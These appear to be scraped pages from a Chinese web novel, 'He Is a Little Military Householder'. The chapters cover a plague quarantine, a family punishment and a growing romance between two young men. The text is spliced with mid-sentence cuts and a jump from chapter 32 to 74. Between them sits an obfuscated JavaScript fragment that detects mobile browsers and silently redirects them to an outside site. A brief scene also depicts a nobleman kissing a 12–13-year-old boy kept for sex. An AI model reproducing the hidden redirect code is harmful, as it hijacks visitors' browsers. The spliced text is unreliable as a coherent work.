前两日公仪林没痊愈见不到他影子,倒是拖着整捆长竹从关口经过的陶修会停下来向他汇报公仪林的病情。 第三日忽见兄弟跟陶修结伴从外拖捆长竹经过眼前,远看他劳作的身影确实有几分像人,不似几年前到处游荡的纨绔样,看他吃力做事又有点心疼:“家中饭来张口的公子不做跑这荒郊野外干粗活,择哪样的友就与之相近,陶修虽出身贫寒但有礼有节,不卑不亢,也算得上是槐序的益友。” 公仪林能一天三次出现在关口朝公仪檀要吃要喝,鱼肉蛋,饴糖、蜂蜜、红豆、盐,得了东西连停留的时间都没有就匆匆赶回破庙,全然把他哥当成开杂货铺的,灯明寺就是个饭馆。 沈钟把马鞭甩的噼啪响替表兄喊一两句:“槐序你不懂事啊,你哥在这风吹雨打三四日没听见你一句好,拿了东西就走,你让我好一番受累,等你出来我可是会替你哥揍你的。”骂完还不得老老实实按他所需去买。 源源不断送进来的食材让安桂有几分不安,他对公仪林解释说:“你都是好意,但 29.竟敢称兄道弟 《他是小军户》全本免费阅读 公仪林把露出的白花花一角银子盖上红布,对章县长行礼言谢:“大人的心意公仪林收下了。望大人将此银钱的一半交到陶修手中,就作是以后给病人的食补钱,另一半还要交给陶修,不过要到他离开西海县那日方能给,权作是大人给他的赏赐,不要提我姓名。若大人能答应我,公仪林感激不尽。” “好,好,好,绝对没有问题。” 他翻身上马,转回头看了眼站在路障内的陶修,抱拳高声道:“康乐,后会有期,柳益山见。” 这声道别旁人没察觉出哪里不妥,但公仪檀瞬间愣在马上,脑子里轰隆作响,难以置信地盯着公仪林,“原来‘康乐’二字是这个缘故,槐序这混账……”他只愣了一瞬立刻拍马气势汹汹向陶修撞去,在马上居高临下厉声问道:“你是陶康乐?” 陶修很诧异他的问话,忙行礼回道:“是,我是陶修。” “你是军户出身,难道不明白云泥有别尊卑有序,是谁给你的胆敢跟公仪林称兄道弟?” 陶修无地自容,一时不知该如何回应,只谦卑的垂眸不言。 “公仪家百年士族从不与贱民来往,你引诱公仪林年少无知,企图攀高谒贵,其心令人嫌恶,此次你哄他来西海县赴险一事我不予追究,若你今后再敢与他来往我必叫你陶家此后无人,听到没有?” 陶修胸口堵着一口气,既沉又闷,忍了半天方道:“大公子,我虽贱户,富贵之于我如秋风过耳,交友不以贵贱而谕,我与二公子幼时相识,心思透彻,从没想过要从他那里谋取不该有的东西,更无攀附之心。”头次被人质疑他对公仪林纯澈的情谊,有点不知天高地厚的从心底上涌出对这位贵公子的怒气,紧盯公仪檀,不卑不亢,一字一顿道:“何况,贵无常尊,贱不常卑。” 公仪檀怒喝一声:“放肆。”举起鞭子就要抽下,这时公仪林骑马赶来,大声问:“兄长,你同陶修说什么?” 公仪檀收了举鞭的手和满脸怒容,冷声回他:“叮嘱他今后小心点。我们走。” 公仪林对陶修抱拳告辞,打马追随兄长而去,十几匹马扬起漫天尘埃,很快消失在西海县的路上。 公仪林走后,灯明寺忽变得很安静,唯一热闹的就是扣在草棚边下过蛋就讨食吃的两只母鸡。陶修出神地给两只鸡洒了一把又一把剩饭,公仪檀的威胁和嘲讽聚成一团郁闷之气窝在胸口久久不散,士族与寒族尚且不肯同席,公仪林却从未在他面前表露过显赫的身份地位,这个朋友,他不知该不该交能不能交。 陶修一如既往,静心烧竹取沥,帮安桂熬粥熬药,偶尔抬一具尸体放在叶子渐黄的杨树下。天气渐渐转凉,下过三次场秋雨后他盛夏时带来的衣物已经抵不住寒冷,忙碌时倒意识不到冷,一旦静下心窝在草棚里就冷的浑身发颤,他有点想家。 秋日的雨滴顺着草棚的边沿滴下,慢慢汇聚成水流,冲破低浅的门沿忽一下游进草棚里干燥的泥地上,陶修披上所有的衣裳呆愣地盯着蛇一样的水流,秋思深沉,思家心切,前途渺茫,许多不顺的情绪因秋雨变得更低迷。 好在灯明寺收下的病人日渐减少,有时四五日才送走一具尸体。 废弃多年的灯明寺因这场温蛊重新燃起香火,破旧的屋舍在众多汉子手中慢慢修复,有一日,从村外走来一个挂着褡裢的老和尚,声称温蛊结束后要在灯明寺落根。 县长大人送来的食补钱在陶修手中细心打理着,他全托守在关口的铁柱帮忙采购运送。 已初冬时节,天气寒冷,草木凋零,陶修来西海县已有四个月,到了最清闲的时刻,他和安桂几个医工坐在熬药的草棚里烤火。夏日那会草棚四面无任何遮挡,如今挡了三面,冷风仍然从草帘的缝隙钻进来。 安桂嘴里叼着一根细树枝,一头点燃火星,另一头冒着烟气,他把烟气一个劲往肺里吸再吐出来,惬意道:“连着五天没有送病人来了,收拾收拾准备回家吧。” 陶修躺在一堆草上,听了这话非常心动地坐起来说:“照此下去不到二十日病人可能就减至二三十人,仅二三十人就不需设置这‘疠人坊’了,不知县长大人有没有决定何时撤掉这里?” “你昨日数过人数,还有多少人?” “女室四十八人,男室还有一百零三人。” “那就快了,老子也想早点回家去。” 正说着,草帘忽被一人掀起,铁柱站在门边朝棚内扫了一圈,目光定在陶修身上,欣喜道:“快,县长大人有请,快随我去。” 陶修忙站起来正准备往外走,安桂一眼看见他还穿着露脚腕的裤子,袖子也短了一截,人又清瘦颀长,乍一看可怜兮兮的,把自己的大氅脱下丢给他:“穿上,免得冻死在县长大人跟前。” “多谢安大哥。” 他跟着铁柱一路小跑至关口,县长和几名随从在路口候着。 章县长吹了寒风鼻头冻得通红,用手捂着嘴鼻抱怨道:“怎么还没到?” 陶修在离县长数丈远处站定行礼,县长高声道:“陶修,你本是汝丘县人,却大老远跑我西海来做义士,精神实在令本官感慨佩服。这些天你也辛苦了,今日你就回去和家人团聚吧。” “现在就能回?里面还有一百多病人。” 县长:“三位老医工已跟本官详谈过病情,接下来只会往好处发展,没有更坏了。你来的时日够久快些回去吧。”他从随从手中拿过沉甸甸袋子举在手上:“这些钱是你连日付出的奖励,可惜你的户籍不在我西海县,不然本官一定在其上给你记一大功。” “大人,我想再留下待个十日……” 县长立即阻止:“不必,今日就收拾东西回去,我派人送你一程。”要不是公仪家二公子叫人连送两封信来,他绝不会守在路边等这小子。 陶修回到灯明寺向安桂说明情况后收拾东西准备回去。和来时一样,只有一个简单的包袱,他抱上了两只母鸡。 草棚里用过的碗具、席子等物摆放整齐,安 30.公仪家的家法 《他是小军户》全本免费阅读 这十日对陶修而言说长不长,不就是无所事事睡上十天么,说短又不短,洞中寒冷、孤寂,他被村民隔绝在洞中并禁止人上山,他就十天看不见人影说不上一句话。吃食又少的可怜,仅有的粮食只能按天分配了一下。 在山中平静度过五天,肠子被顿顿稀粥刮的一点油水都没有,他很想打点野味润润嘴,手头没有工具,眼见着野鸡上下扑腾却无计可施。天阴死冷,偏偏又来一场雨,寒风卷着枯叶拼命往山洞钻,把篝火打的歪歪扭扭,洞外一片漆黑,摸着半饱的肚子无限感慨此种日子实在难熬:“可惜是冬天,否则来条蛇我也给扒了皮吃掉。” 半夜风雨势变大,滴答的雨点从岩壁落下,淋湿大半个山洞,篝火不知何时已熄灭。陶修裹的薄被越来越冷,眼皮一沉神思一恍突然就进入一片白茫茫的迷雾中,他在雾里拼命喊娘,几乎喊了一整夜。 再次醒来时才发现又被冻的浑身发烫,想喝口热水压一压陡然出现的高热,但陶罐中的水险些结了冰,无奈之下又裹上被子睡下了。 * * * 被强行捉回汝丘的公仪林自然免不了一顿家法。 家法是要约束、控制族人并做给族人看的东西,若不是犯了大过这家法能不用就不用,偏偏公仪林接触的是误家误民甚至会误国的瘟疫大事,动刑用的棍子早就被上了一层油放在祖宗的牌位前。听说上次被用家法的还是几十年前执意娶寒门女子为妻的老祖宗,还听说他被打的终身腿瘸。 公仪林闯祸要受家法的消息在族中引起很大震动,全族上上下下能够格“观摩”的族人都围拢了来。 惩罚他的位置就摆在祠堂前,长凳和长棍是老祖宗留下的最后威严,庄严肃穆。公仪曲正襟危坐于“行刑”长凳的正前方监刑,使动手行刑的司子难以作弊。 司子从十一二岁开始服侍二公子,家主让他亲自动手实则是在惩治他没有能预判出公子可能闯祸的本领,但他哪敢对二公子挥棍,跪在公仪曲面前哭着说最近刚摔伤手腕使不上劲。 公仪曲道:“今日的棍子要是打不下去,以后你就不用跟着他了。” 司子又把眼泪对着公仪林抹:“小公子,严令在前,你可别怪司子手硬。” 公仪老夫人拿方帕子抵在嘴边默然无声,公仪林两次求助她皆视若无睹,此子确实太任性妄为。但从她肚里滚出来的肉团怎能不心疼,她一面希望儿子在家法下能纠正“恶行”又下了随时要为他挡刑的决心,而公仪曲对她最大的让步就是允许她坐在旁边“观刑”。 腕粗的长棍抱在司子怀中,愣是把司子衬得瘦小干巴,公仪林趴在一尺宽的长凳上,两手握拳垫在头下,周围看热闹的都是同姓族人和家中身份够老的仆人,能救他的人都在等着看热闹,只得闭上眼安心领罚。 “打——”公仪曲沉声下令。 司子的第一棍带点自证的感情,想告诉家主:“瞧我打的多卖力。” 咬牙发誓绝不会低头认错也不会发出疼痛哀嚎的公仪林在第一棍下就轻易地喊出声,这一棍几乎把他打的两头翘起来。 行家法的棍子略扁,打在臀部比圆棍的伤害要小,不会几下就断了骨,但受力更均匀,第二棍打下时,公仪林额头生汗,硬是把呻/吟声吞进口中,绝不能在众人面前示弱。 第三棍,灵魂出窍,神游天地。 第四棍,他在想陶修当年被沈钟打的可是腰,所以陶修的肋骨确实是断了。 第五棍时他骂了一句“沈钟你这个混蛋,畜生。” 完了,司子慌忙丢下棍子对公仪曲道:“老爷,二公子被打糊涂了,还要不要继续?” 公仪曲不懂他为何骂沈钟,但是三十棍家法才行了六分之一,堂堂男子汉五棍就糊涂了说出来更让人来气,意志坚定毫不犹豫下令:“继续打,再重些。” 每落下一棍公仪林就骂一句“沈钟、畜生”,打至十二棍时骂人的声音渐渐微弱。坐在一旁一直没吭声的公仪檀终于开口求情:“父亲,罚十五棍就够了,家法是为了让他长记性今后不再无事生非,伤筋碎骨并不是目的,罚他禁足或替母亲抄经一样能约束住他。” 公仪夫人立即擦去心疼的眼泪赞同道:“是啊老爷,青木说的有理,打坏骨头还要请医调养,他睡在床上数月不能动你看着也心烦,又何苦呢,就让槐序跟我在佛堂念经抄经,三个月内不许他跨出家门一步。” 一饱眼福后的族人亦有劝解的:“槐序还小不知事情轻重,好在此次有惊无险安然归家,打几下也够了。” “已经打多少下了?”公仪曲问。 司子慌忙道:“再打就是第十三下。” “他私自去西海县,万一真把温蛊带回将会祸害多少人命,情理难容,好在他知道病愈才回家,就免去他十棍。你们不许再劝。” 司子无奈继续落棍,公仪夫人继续落泪,围观之人倒抽冷气。 二十棍后,半闭着眼像只死猫的公仪林被从长凳上抬下。 公仪曲问:“你知不知道错在何处?” 公仪林气息微弱,小声回道:“儿子知错,知错了,错不该私自外出,不该往疫地乱跑,往后再也不敢了。” 打他不就为看他服软认错么,公仪曲大手一挥就结束了这场热闹。司子慌忙叫上几个下人把昏迷的公子抬回房去,大夫紧随其后。 三日后,打了半死的公仪林恢复生气,无需趴着睡觉,在司子搀扶下勉强下床走动。 公仪檀次次过来瞧他伤势时总要被挂在房门后的两盏灯笼刺挠的食不下咽,忧心忡忡。待兄弟的身体恢复差不多时,公仪檀终于开口问关于灯笼上两字的来由,他取下门后灯笼边轻念上面的两字边观察小弟的表情。 果然,第二声“康乐”方念出来,侧躺床上无趣翻书的公仪林猛地把眼从书里抬起来。 公仪檀虽猜出大半,仍不是很确信:“寓意好的字有许多,你为何偏偏选‘康乐’二字?” 公仪林合上书笑道:“觉得这二字亲切,无甚其他意思。” 看来他不打算袒露真正想法,公仪檀顿了片刻又问:“西海县同你一起伐竹取沥的陶修,其为人璞玉浑金,好义助人,听说你们儿时就认识,我怎么一点都不知道?” 见兄长都如此夸赞陶修,公仪林扶床坐起来道:“他确实有很多本领令我钦佩。那时候你潜心读书,哪会管我交了什么友人。” “是挚友吗?” “是挚友。不瞒你说,端午那会我与他从寺庙回姑母家,路遇歹人,是他一人制 31.心魔或是妄念 《他是小军户》全本免费阅读 江良从容走上前行礼道:“公仪郎君,你不认识我了?我是江良,初夏那会我们见过。” 原来是差点成了陶修舅老爷的江良,公仪林不客气地问:“你来此做什么?” 江良为人老实本分,不会花言巧语,却又不敢将来意说的太明白,真假参半扯了个谎:“我与陶修是朋友,他外出有事临行时托我照应下家中的阿翁。陶家有位姑娘我不便靠近,只能每日守在此望上两眼。” 公仪林当即知道他在扯谎,在西海县那么多日也不见陶修提过江良,更别说家中有小妹的情况下还把家托给其他男子照看,他不想拆穿江良,睨着眼问:“每日都来?” “是,来了看上一眼,见无事我就回去了。” “陶修留下一老一少在家确实十分欠妥,何况还有个正值年华的小妹,等他回来我一定把你的义气和他的失职放一块比较比较,好让他自惭形秽。” 江良脸上一阵红黄相间,诺诺几句后极不自在告辞而去。 沈钟没打算参加狩猎,架不住公仪林威逼利诱,只好仓促带上弓箭一起向柳益山出发。 柳益山狩猎场几乎汇聚吴郡所有士族的青年才俊,个个贵不可言才华横溢,带着与生俱来的傲气和神采,他们站在这个时代的最顶端享有财富与利于他们走得更高的权利和人脉,公仪林混迹其中,俨然天生就是其中一员。 因惦念西海县的穷小子,近五天的狩猎变得索然无味,但有两件事却让公仪林大开眼界。第一件事,他与几个士族子弟坐在一起闲谈平日的兴致雅好,其中一人竟当众搂过蓄养的娈童亲上一嘴,其余者见状皆击杯助兴。公仪林惊讶万分,目光一直落在才十二三岁长相清丽的孩子身上,身边有人见他神色异样,打趣着问:“公仪公子可有这个‘雅好’,愿试试吗?” 公仪林慌得收回目光,试问道:“这孩子是自愿的?” “只要你想,他们就无所谓愿不愿意。” 沈钟替他嚷一句:“你们别带坏我表弟,他不好这口。” 另外一事发生在狩猎场上,公仪林与一个叫薛际的人同时射中獐子,二人靠近猎物后无法界定猎物归谁,有人替公仪林说话:“射中脖子的是公仪公子的箭,只有咽气才会倒下,自然归他了。” “不一定,它先被薛公子伤了腿无法逃跑才被射中咽喉,我看它应该归——”此人把围拢的人群都看过一眼,突然玩笑道:“还是归公仪公子。” 众人哄笑,纷纷应和,“这只獐就一定是公仪公子的咯!” 出身寒门的薛际对此敏感多疑,不等旁人再替他说话,当即抽出腰间长剑对尚有一口/活气的獐猛地砍下,鲜血四溅,獐子断为两截,他把獐头拎在手中对公仪林冷笑道:“属于你的就还你,不是你的,我绝不会给。” 公仪林嘴角抽动,难以理解此人的极端行为,他不但接过獐头还弯下腰拎起獐后腿,挑衅威胁道:“只要我想要,它就是我的东西,有种你从我手里拿回去试试。” 薛际眼神阴沉转头就走。 待薛际上马离开,他才慌忙丢掉獐头獐尾,把一手的鲜血抹在司子递上来的衣服上,大骂一句:“此人有病吧!” 五六天后,公仪林在马匹后面挂满猎物返回汝丘。离佛堂禁足结束的日子还有一个半月,他虽头疼不已,决心用这段时间静心读书。心还没沉静下来,司子忽给他带回好消息:陶修回来了。 他在佛堂静谧氤氲的轻烟中猛的抬头撂笔,起身惊问:“真的?” 这一高亢激动的叫声险些把念经的老母亲吓得仰过去,公仪林郑重其事对佛祖弯腰行礼:弟子罪过罪过。而后一个纵跳逃出佛堂,拉着司子问:“何时回来的?快让他来找我。我这禁足多日实在走不开,你再去一趟让他来汝丘找我。把马牵一匹给他用。” 司子为难道:“他回来好几天了。你没空看他,他这会也没空来找你,陶修被村民撵去山上隔绝起来了。” 公仪林不信村民会如此对待在西海县受人尊重的义士,又问一遍:“撵去山上是什么意思?” “玉河村人担心他把温蛊带回来,就把他请去山上住个十来日。等他十日期限一到我就替公子跑一趟。” “陶修这就答应了?他患温蛊症比我还早几日,我都无事,他怎么就答应跑山上去。这些混账村人分不清好歹,陶修在西海县的功劳甚至值得上报县署,回了村子倒一无是处一钱不值了。” “二公子也要体谅村民的恐惧,若通过衣物之类带回温蛊,遭殃的还是众人。” 得想办法溜出去,必须去趟玉河村见一见陶修。公仪林患得患失走回佛堂的案几前,望着母亲的背影忽灵机一动。 公仪夫人领悟佛法全凭关在佛堂里神神秘秘的自悟,她的智慧便是宽仁大度,看事比任何人都通透清明。 “阿母,你常言读《楞伽经》可助众人或我破除一切魔障烦忧,可我有一妄念却在经书中找不到答案,敢问母亲,我该如何净意念?” 公仪夫人:“你有什么妄念?” 公仪林笑道:“心中记挂一人或一物,坐在此处纵使抄百遍佛经也无济于事,我还是想他,我该如何?” 公仪夫人毕竟聪颖宽容,多日不见他要外出,今日陡然提起必是有急事,遂温和地笑说:“因缘会遇,你想没想过为何总惦记此事,去吧,你父亲若问起来我会替你辩解。” 公仪林出现在钟山已快酉时,昨日下过雨后天气湿冷难耐,他全身包裹的厚重臃肿仍然抵挡不住从野地穿来的北风。 司子没爬过钟山,当即拽了村民为他们引路。这汉子一路上喋喋不休:“我们并不是怕陶修,他是个好孩子,从小老实寡言做的比说的多。众人这是为大局着想,听历经年岁的老一辈提起瘟疫啊都说比猛兽的利齿还可怕,猛兽吃人还挑着吃,瘟疫是一片一片倒下。我们也没亏待陶修,上山那日给他包了许多粮食,还有药材,足够他吃上十日,他住的山洞是辛霸王的,又干燥又暖和……” 等汉子辩白结束,公仪林才轻蔑地冷哼一声。 天色阴沉昏暗,汉子指着半山腰模糊的洞口说:“你们再走上几步就到了。两位莫怕,钟山很小,没有豺狼野兽。” 山路潮湿难行,冷风透骨,一踩就是一脚的泥,公仪林面色冷峻,满腹怒火,这种鬼地方如何能住人。 山洞口的风势更大,几株枯草吹的动摇西摆,洞中黑漆漆一片非常安静。 “康乐?”声音在洞中荡了一层回声。 司子嘀咕道:“可能出去了吧?” “天都黑了还出去做什么?”公仪林拢紧披风往洞中走,洞里有淡淡的烟熏味,安静又湿冷。他“哐啷”一声踢碎一只碗,黑暗里突然传出窸窣的动静,司子哆哆嗦嗦护在公子前面。 “谁?”声音沙哑无力。 公仪林迅速顺着声音摸过去,命司子快点火。 温暖干净的火苗在一团干柴中燃起,人影投在山壁上显得巨大无比。公仪林终于看清陶修萎靡不振的脸和唇上一层干燥的皮,本就清瘦的人再经这番折腾浑身的骨头似乎都要飞出体外。 他摸过陶修滚烫的额头后,随手捡起他吃饭的家伙砸碎在地上,气的双眉倒竖:“为何能把自己作践到如此地步?他们让你窝在山洞你就答应,不知道下山找人帮你一把?我回头就去把混账村民都捆 32.司子他猜到了 《他是小军户》全本免费阅读 篝火也赶不尽洞中寒意,公仪林盘腿坐在地上盯着火苗出了会神,背上突然多层薄被,仰头见是陶修起来了。 陶修用被子把两人都裹起来,脸颊被火焰烤得滚烫,公仪林向他凑近了点:“真冷。不知这五六夜你是如何挺过来的,洞中潮湿,住上一阵子骨头怕不是都朽了。” “这是我师父常住的地方,他外出一年未归洞里才慢慢恢复原样,他住的时候很干燥。” “几次听你提起师父,他是哪样的人?什么来头?” “他只肯授我武艺从不提起过往。手里有把豁齿严重的刀,想必是有故事的人,过去的事他不提我便不问,但相处多年总有说漏的时候,师父曾自称捉刀人,不管真假,他不愿提起的过往一定比我所想到的更血腥。” “几十年前梁国弃都逃往江陵,到处兵荒马,乱世下想要活命谁手中不沾几滴鲜血。” 陶修从被子里伸出手添加几根新柴,火舌“噌”一下就缠上枯枝,“公仪家在京师地位不凡,你应该听到军府召集军户一事了吧?” 公仪林想起夏天那会严勋和周群等人对局势的猜测,忙问:“你听到什么风声了?” “灯明寺的病人刚舒坦些嘴就闲不下来,我从他们口中听到朝廷召集兵马、汇集流民一事。” “如果传言是真,难道你真肯去……” 不等他说完陶修就笑说:“自然是去报到。我这样的出身不摊上战乱最好,朝廷需要兵力时又怎能躲过。过完年事我也十八了,即便没有战事也要去兵营操训,我倒希望京师那面能要人,很想到外面看看天地之广。”他兀自轻笑:“所以江家的三姑娘我即便看上了也不敢答应,难道要生个小军户出来?” 公仪林为之一振,生出两急,一急陶修竟把眼光放在千里之外,二急他居然真看上了江家姑娘。 醋意上涌,正欲打趣他的“痴心妄想”,恰碰陶修拨火挺身,一个转头和一个挺腰同时发生的瞬间,他的唇沿着陶修的耳朵一路擦到脸颊。 二人登时愣住。 陶修眨眨眼,尴尬地挤出笑意:“幸好司子睡了。” 公仪林双眼发直,喉结滚动,心思恍惚,唇上都是陶修脸颊被火烘烤的热度,嗓子干涩润了半天才想起奚落的他的话:“原来你真的看上江家姑娘了,何不早点说出来我还能帮你,呵,现在也不迟吧,需不需要我帮你一把?” 自知失言的陶修面红耳赤,把一摊篝火拨得火星四溅,嗫嚅道:“我若真有意这种事情还由你代劳,我成什么废物了。” 躺在火堆对面蜷缩成一条狗样的司子装作睡着了,突然被迸出的火星烫到手面,为了不被公子怀疑他偷听他们二人的话,忍着剧痛翻个身又睡了,暗暗祈求他们别再说些让他睡不着的话。 但他很快就听见二公子的荒唐话:“你若真想去京师,我跟你一起,我得看着你在我眼皮下走动。” 司子:公子啊,你知道你在说什么吗? “之前年岁小,父亲想让我为官入仕未免操之过切,过年关又长一岁,公仪檀像我这么大时已去醴县独当一面,他的一举一动都是为我打好的样。” “我很羡慕你可以肆无忌惮的选择任一条路去尝试,但我只有一条道。我一直仰慕江矶营的卢将军,若能入他麾下跟他行军打仗,骑马横槊收复失地,死也无憾,真想出去碰碰运气。” 公仪林之前料想他即便入了军府终究离不开吴郡这块地界,好歹能在自己的照护之下,谁知这人目标放的如此长远,看来是必去建康不可了,就是他动不动就提“死”非常扫人兴致,“来日方长有的是机会,谁说十年之后你不会被人尊称一声陶将军,但现在连个长槊都没碰过就想着战死当英雄未免败兴,往后不许再说。” “我发现你这人年纪不大却跟老头一样爱听吉利话?” 这一夜对司子而言非常漫长难捱,一是冷,二是猜破公子的心思。清晨第一缕光刚照进山洞他就一跃而起,吵吵道:“公子,天亮了,我们快回去现在就走。” 公子也像条狗一样缩在山洞透骨冷的地上睡着,他看着心疼又气愤,拿双带恨的黑眼珠把石床上裹着被子酣睡的陶修剜了一遍又一遍。 公仪林从地上爬起把睡僵的骨头捶软和,见篝火已灭,立即指使司子起火造饭。他漱口洗脸后很熟练的用瓦罐里的热水给陶修擦洗。 司子撇撇嘴只当没看见,心底早把陶修这狗东西骂过几次。 陶修将二人送到山脚,不放心地嘱咐公仪林:“还有三日我就能回去,你回到沈家千万别得罪村民,要知道住在玉河村的人是我,你解恨了可以上马就走,但我还得留在村里。” “放心,我不糊涂。” 两人走后,陶修在山林转悠一圈妄想能守株待兔。冬季山林除了枯枝败叶一片荒芜,灌了满怀北风仍旧拖着饥肠辘辘的身子回到洞里,正要煮粥时忽听见洞外有人喊他名字。 站在陶修面前的是叫壮牛的年轻人,拎着食盒远远招呼:“陶修,我把饭放这里了,用完饭把盒子还放回这里,明日我来取,若不够吃我明日再多带些来。” 陶修一猜就知道谁做的善事,还是问一句:“谁着你送来的?” “沈公子吩咐的。让我们一日一送直到你下山为止。” 壮牛放下食盒却没有立即走,有些拘谨地笑道:“陶小哥,小时候有些事挺对不住你的,那会大家都小不懂事,谁年少时不犯点过错咧,现在想起来就想打死那会的自己,希望你能原谅那群年少无知的人。” 壮牛也是朝陶修身上泼水的一个,这群人大半已成婚有家,幼时的事本该忘在脑后,不管对错再不提起就罢了,壮牛非要多上这一嘴,反而弄得陶修无比尴尬,他抿抿唇,笑说:“食盒都装了什么饭?若不介意就坐下同我一块吃点吧!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883001|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇后见小公主长得可爱就强行抱到身边自己抚养。” “子虚乌有,太荒诞了,这胡乱传的都是什么?武平公主天性好动喜练武,豫章王出镇东扬州刺史后便把她一同带去磨砺,他是看着公主长大的,感情非同一般,别把深宅大院里的勾心斗角带入到他们兄妹当中。下一个问题。” 安桂撇嘴表示不信,突然把屁股朝二人中间挪几寸,神秘兮兮问:“皇宫是不是经常闹鬼?” “这又是从何而起?” “邗县有个张县尹,去上任的路上被一条大河所阻,因天色渐晚没有渡船,县尹决定在大河边上的亭中歇宿,哪知半夜被三只鬼魂缠身。后来张县尹请道士为其驱邪,道士抓住三只女鬼后一问缘由,她们竟都是冤死在宫中的女子。” 公仪林额头突突跳,还能平静地保持对答:“宫中冤死的女鬼为何会在宫外?” “水乃阴物,女鬼顺着皇宫的河流爬出来,就漂到阻碍张县尹去路的大河里,急于投胎,所以见人就缠见人就往水里拖拽。” 这回连陶修也笑了:“安大哥,你这故事让我想到一个诡异的画面,百鬼争涌而出,皇宫里死去人的魂魄争相从阴沟里往外爬,目的就是为了爬到大河中拉人下水好投胎。” “故事可不是我说的,一本叫《神鬼记》书上写着呢,还配了画,活灵活现,就跟你说的画面一样诡异渗人。” 公仪林道:“世人很喜欢把陌生不熟的人或地方鬼怪妖魔化,或诋毁或赞美,总之达到目的即可。可能确实发生过类似的真事,编书人稍加润色,吸引人的故事就有了。安桂你平常读医术外还看这些乱七八糟的,别听什么都信?” 安桂笑道:“我们这些汉子聚在一起聊聊不存在的女人外,也就奇闻怪事最有意思。呵,不存在的女人。”这个三十来岁如狼似虎年纪的男人在提到女人后忽然想起自己在兵营里这和尚般的日子,唉声叹气,咂巴砸巴嘴说了句两个年轻人现在还不甚明白的话:“没女人的日子淡的哟,跟喝了滚烫的蜡汁一样,无味、烧心。” 公仪林身边有李颂那样的人,能浅浅理解安桂话中的意思,玩笑道:“何不外面找去?烟花柳巷温柔乡,哪样女人找不到?” “我不是那种的人。”安桂表情悻悻的,突然把话题引到二人身上:“你们呢,都有女人没?陶修你这趟回乡没把亲事定下,早些给自己留个后?” 公仪林神情一紧,眼睛都不敢眨,生怕漏掉一个字。 “我啊?家中没人了,阿翁去世、妹子嫁人,我与那里已没了牵绊,还成家作甚。” “正因如此,才要赶紧娶妻生子,即便身在沙场,想到他们在家中对你殷殷期盼,才更有希望活下去,不至于太绝望。现在对你说这些可能有些早,你无法理解。” 公仪林见安桂劝的有理,又无法辩驳,气的大声喝道:“安桂,陶康乐年纪轻轻又身在军营不该有家累,一旦有妻与子盼他回去,战事吃紧时他能安心在战场厮杀?为何胡乱给他出主意?” 74.可谓情难自禁 “你这年纪都能娶妻,他现在十九早就该成家立业了,家能让我们男人踏实,少了不少后顾之忧。我前年离家时长子十二,他快与我一样高了,想到我后继有人,才能果断的来京口,他一定能撑起那个家。成家有后真的令人踏实,你们还是太年轻,说了也不懂!” 陶修笑了一下,转头问公仪林:“你与公主的事有结果吗?”声音不大,温和平静,他对面的两人都愣了一下,安桂忙问:“哪位公主?二公子要娶公主?” 公仪林既心急辩解,又暗暗高兴陶修会把李颂的一句屁话当真,当时在要和酒楼提到公主时陶修无动于衷,今日主动问起,说明他在乎的东西变了,“这种有损公主名声的话不能瞎说,我可是要先立业后成家的好男子。” “成家!”陶修眸中闪过失落,微微点头。 夜已渐深,安桂露出中年男人易困的特性,哈气连天应付着两个年轻人的闲聊。从田里回来那会还有晚霞可赏,这会外面突然滴滴答答响起了雨声。兵营就寝的鼓声总不响起,公仪林起身站在门边扫视大营一角,各处火盆的大火渐渐熄灭,冷风像找不着方向的兔子灌入他衣袍,外面巡逻的士卒都找到屋檐躲雨。 他在门边静静站着,陶修低头玩弄衣服上的衿带,安桂呜呜地打着瞌睡。鼓声终于自远处传来,公仪林转头问安桂:“今夜就先到此,你快回去休息,各处都熄火就寝了。”安桂张大嘴巴打个哈欠往席子上一躺,把身子蜷缩成一团:“我就睡这吧,一个人住隔壁听雨会孤独,我跟你们凑个热闹。” 公仪林靠在门边沉思不语,外面雨势变大,风从门窗吹进来,豆大的火苗被吹得颤抖摇摆。 陶修起身对他轻道一句:“你也早些睡吧。”说完就在床的一角躺下了。 公仪林熄了灯后走至窗边将窗户开的更大,冷风夹着细密雨丝从门、窗往屋内猛扑,像只无骨的凉手,屋里温度骤降,凉手爬向快睡着的安桂,他又把身子蜷了下,迷迷糊糊嘀咕一声:“为何这么冷?” 屋内沉寂,黑暗中传来安桂窸窸窣窣起身穿鞋的声音,对着床铺的方向小声说:“这屋太冷了,我回屋睡去了啊。” 无人回应,安桂走后,把大半的雨声关在了门外。 大营还有几处燃着很旺的篝火,微弱的火光也从半开的窗户钻进来,和潮湿的水汽充斥了整个房间。公仪林还立在窗前,任由细密的雨丝打湿衣裳,他一动不动盯着黑暗中的陶修,能准确知道他的位置,即便他刻意隐藏了声息。 屋内安静无声,窗外的雨势铺天盖地,像两个天地。陶修听见他解开衿带褪去帽冠的轻柔声,凝息太久胸口有些滞痛,此刻,脑中还有许多犹豫迷茫,不知今夜的决定将带他走向何方,有哪种结局,但今夜,此时此刻,他心甘情愿。 公仪林穿着单薄柔软的中衣,静静站在床沿俯视陶修,柔声问:“今夜能不能,康乐?”他手心潮湿,身体紧绷一触即碎。 陶修没有回答时,他就一直等,耐心地等,用温和的目光注视黑暗中尚在犹豫彷徨的人。 外面雨声急促,不像三月的春雨,像是盛夏时节突然降临的暴雨。就在他以为今夜又将失落无望、唐突的欲望又一次吓退陶修时,一只暖和的手握上他冰凉的指头。 这个妥协、主动的触碰他等了很久很久,有点想哭,实在来之不易,他慌忙回应,十指紧紧缠绕在一起。 公仪林半跪在床前,一下一下轻抚陶修的头发,小心虔诚地触碰他的唇。这不是他第一次亲吻陶修,但绝对是在陶修清醒时的第一个吻。他能感受到陶修绷直紧张的身体,谁也不比谁轻松。 